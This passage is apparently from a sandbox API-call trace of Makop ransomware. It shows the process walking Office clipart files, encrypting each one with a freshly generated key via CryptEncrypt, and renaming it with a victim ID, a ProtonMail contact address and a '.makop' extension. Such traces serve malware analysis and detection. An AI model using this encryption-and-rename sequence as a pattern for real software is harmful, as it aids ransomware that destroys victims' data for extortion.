pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.197] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.197] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.197] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.199] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2f38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2f38, lpOverlapped=0x0) returned 1 [0139.200] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f40, dwBufLen=0x2f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f40) returned 1 [0139.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2f40, lpOverlapped=0x0) returned 1 [0139.201] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.201] SetEndOfFile (hFile=0xf0) returned 1 [0139.207] GetProcessHeap () returned 0x48a0000 [0139.207] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.207] GetProcessHeap () returned 0x48a0000 [0139.207] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.207] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.209] CloseHandle (hObject=0xf0) returned 1 [0139.209] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0139.209] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 63 [0139.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.210] GetProcessHeap () returned 0x48a0000 [0139.210] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.210] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.211] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.215] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.215] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.215] GetProcessHeap () returned 0x48a0000 [0139.215] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.215] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.215] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.216] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.216] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.216] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14bc, lpOverlapped=0x0) returned 1 [0139.217] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14c0) returned 1 [0139.218] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.218] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14c0, lpOverlapped=0x0) returned 1 [0139.218] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.218] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.218] SetEndOfFile (hFile=0xf0) returned 1 [0139.224] GetProcessHeap () returned 0x48a0000 [0139.224] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.224] GetProcessHeap () returned 0x48a0000 [0139.224] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.224] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.226] CloseHandle (hObject=0xf0) returned 1 [0139.227] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0139.227] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 63 [0139.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.228] GetProcessHeap () returned 0x48a0000 [0139.228] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.228] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.228] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.229] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.229] GetProcessHeap () returned 0x48a0000 [0139.229] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.229] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.229] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.229] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.233] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.233] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.234] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.234] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.234] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1580, lpOverlapped=0x0) returned 1 [0139.235] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1580, dwBufLen=0x1580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1580) returned 1 [0139.235] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.235] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1580, lpOverlapped=0x0) returned 1 [0139.236] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.236] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.236] SetEndOfFile (hFile=0xf0) returned 1 [0139.242] GetProcessHeap () returned 0x48a0000 [0139.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.242] GetProcessHeap () returned 0x48a0000 [0139.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.242] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.244] CloseHandle (hObject=0xf0) returned 1 [0139.244] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0139.244] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 63 [0139.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.246] GetProcessHeap () returned 0x48a0000 [0139.246] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.246] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.246] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.251] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.251] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.251] GetProcessHeap () returned 0x48a0000 [0139.251] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.251] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.251] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.251] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.251] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.251] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.252] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.252] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.252] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.252] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.252] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27a4, lpOverlapped=0x0) returned 1 [0139.254] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27b0) returned 1 [0139.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.254] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27b0, lpOverlapped=0x0) returned 1 [0139.254] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.255] SetEndOfFile (hFile=0xf0) returned 1 [0139.262] GetProcessHeap () returned 0x48a0000 [0139.262] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.262] GetProcessHeap () returned 0x48a0000 [0139.262] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.262] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.263] CloseHandle (hObject=0xf0) returned 1 [0139.264] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0139.264] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 63 [0139.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.265] GetProcessHeap () returned 0x48a0000 [0139.265] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.265] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.265] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.269] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, 